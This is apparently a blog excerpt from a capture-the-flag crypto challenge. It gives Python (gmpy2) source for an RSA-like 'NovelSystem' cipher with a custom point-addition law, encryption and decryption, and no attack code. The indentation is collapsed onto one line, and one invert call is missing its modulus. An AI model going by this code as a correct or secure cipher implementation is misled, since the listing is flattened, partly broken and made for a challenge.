from gmpy2 import *#NovelSystem 加密算法class NovelSystem: def __init__(self, p, q, e): self.p = mpz(p) self.q = mpz(q) self.N = self.p * self.q self.beta = 0.397 self.psi = (self.p ** 2 + self.p + 1) * (self.q ** 2 + self.q + 1) self.e = mpz(e) self.d = invert(mpz(self.e), mpz(self.psi)) self.r = 3 def add_(self, a, b): m, n = a k, l = b if a[1] == 0: a, b = b, a m, n, k, l = k, l, m, n if l == 0: if n == 0: return (m * k, m + k) if (n + k) % self.N == 0: if (m - n ** 2) % self.N == 0: return (0, 0) return ((m * k + self.r) * invert(m - n * n) % self.N, 0) return ((m * k + self.r) * invert(n + k, self.N) % self.N, (m + n * k) * invert(n + k, self.N) % self.N) if (m + k + n * l) % self.N != 0: return ((m * k + (n + l) * self.r) * invert(m + k + n * l, self.N) % self.N, (n * k + m * l + self.r) * invert(m + k + n * l, self.N) % self.N) if (n * k + m * l + self.r) % self.N == 0: return (0, 0) return ((m * k + (n + l) * self.r) * invert(n * k + m * l + self.r, self.N) % self.N, 0) def mul_(self, a, n): ans = (0, 0) while n > 0: if n & 1 == 1: ans = self.add_(ans, a) a = self.add_(a, a) n //= 2 return ans def encrypt(self, m): return self.mul_(m, self.e) def decrypt(self, c): return self.mul_(c, self.d)最后还差一题ffi估计马上会到
来源地址：https://blog.csdn.net/weixin_52640415/article/details/130547942
